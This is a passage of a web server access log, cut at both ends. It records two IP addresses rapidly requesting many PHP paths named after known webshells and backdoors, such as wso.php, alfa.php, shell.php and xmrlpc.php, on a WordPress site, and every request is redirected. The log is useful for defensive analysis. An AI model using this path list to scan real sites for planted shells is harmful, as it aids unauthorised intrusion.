rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:17:19 -0400] "GET /about/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:19 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:19 -0400] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:17:19 -0400] "GET /wp-admin/images/wp-post.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:17:19 -0400] "GET /wp-content/plugins/azra-tn/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:19 -0400] "GET /.github/default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:19 -0400] "GET /wp-content/plugins/cp-pro/js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:19 -0400] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:20 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:20 -0400] "GET /wp-includes/css/dist/components/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:17:20 -0400] "GET /img/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:20 -0400] "GET /bn.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:17:20 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:20 -0400] "GET /license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:20 -0400] "GET /wordpress/update/wpupex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.193 - - [23/Apr/2025:03:17:20 -0400] "GET /tt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.193 - - [23/Apr/2025:03:17:20 -0400] "GET /wp-signup.php?Fox=sQFLZ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.191 - - [23/Apr/2025:03:17:20 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.19.193 - - [23/Apr/2025:03:17:20 -0400] "GET /uu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:17:20 -0400] "GET /wp-content/themes/alera/alpha.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:17:20 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 138.199.19.193 - - [23/Apr/2025:03:17:20 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:17:20 -0400] "GET /13.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:17:20 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.19.193 - - [23/Apr/2025:03:17:20 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:17:21 -0400] "GET /wp-content/plugins/work-list/lang.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:21 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:17:21 -0400] "GET /dir.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:17:21 -0400] "GET /upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.19.191 - - [23/Apr/2025:03:17:21 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:21 -0400] "GET /wp-admin/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:21 -0400] "GET /uzkeerfe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:21 -0400] "GET /aa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:21 -0400] "GET /.well-known/acme-challenge/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.191 - - [23/Apr/2025:03:17:21 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:17:21 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:21 -0400] "GET /xx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:21 -0400] "GET /wp-admin/includes/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:17:21 -0400] "GET /contact.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:21 -0400] "GET /css/xa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:21 -0400] "GET /wp-includes/ID3/about.php/wp-content/x/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.19.193 - - [23/Apr/2025:03:17:21 -0400] "GET /wp-content/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:17:22 -0400] "GET /sk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:22 -0400] "GET /wpn.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:22 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:22 -0400] "GET /wordpress/wp-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.191 - - [23/Apr/2025:03:17:22 -0400] "GET /wp-admin/css/colors/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:17:22 -0400] "GET /ynz.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.19.193 - - [23/Apr/2025:03:17:22 -0400] "GET /item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:22 -0400] "GET /wp-admin/js/widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.193 - - [23/Apr/2025:03:17:22 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.193 - - [23/Apr/2025:03:17:22 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:17:22 -0400] "GET /wp-includes/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:17:22 -0400] "GET /ymhrwpmq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 138.199.19.193 - - [23/Apr/2025:03:17:22 -0400] "GET /wordpress/wp-includes/wp-post.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:22 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:17:22 -0400] "GET /contents.php/lv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.193 - - [23/Apr/2025:03:17:23 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.191 - - [23/Apr/2025:03:17:23 -0400] "GET /wp-content/themes/xc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:17:23 -0400] "GET /yjsmnati.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:17:23 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.191 - - [23/Apr/2025:03:17:23 -0400] "GET /baxa1.phP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:23 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.19.193 - - [23/Apr/2025:03:17:23 -0400] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:17:23 -0400] "GET /av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:23 -0400] "GET /wp-links-opml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:23 -0400] "GET /bgf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.191 - - [23/Apr/2025:03:17:23 -0400] "GET /network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:23 -0400] "GET /index.php?x=ooo HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:23 -0400] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:23 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:17:23 -0400] "GET /wp-content/banners/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:17:23 -0400] "GET /an.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:23 -0400] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:17:24 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:24 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:24 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:24 -0400] "GET /wp-content/plugins/core/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.193 - - [23/Apr/2025:03:17:24 -0400] "GET /wp-admin/network/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:24 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:17:24 -0400] "GET /test.php/wp-content/uploads/wp_live_chat/abruzi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:24 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:17:24 -0400] "GET /wp-content/Files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:24 -0400] "GET /ova.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:17:24 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:17:24 -0400] "GET /vv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:24 -0400] "GET /plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.191 - - [23/Apr/2025:03:17:24 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 138.199.19.193 - - [23/Apr/2025:03:17:24 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:24 -0400] "GET /wp-content/themes/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.191 - - [23/Apr/2025:03:17:25 -0400] "GET /wp-user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:25 -0400] "GET /wp-content/plugins/erin/pgs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:25 -0400] "GET /worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:25 -0400] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:25 -0400] "GET /wp-content/plugins/linkpreview/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:25 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:25 -0400] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:25 -0400] "GET /css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:17:25 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.19.191 - - [23/Apr/2025:03:17:25 -0400] "GET /assets/css/403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.19.193 - - [23/Apr/2025:03:17:25 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:25 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:25 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:25 -0400] "GET /wp-content/plugins/simple/simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:17:25 -0400] "GET /la.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:17:25 -0400] "GET /ff.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:17:25 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:17:25 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.191 - - [23/Apr/2025:03:17:26 -0400] "GET /.well-known/pki-validation/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:17:26 -0400] "GET /about.php?525 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:26 -0400] "GET /wp-includes/fonts/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:26 -0400] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 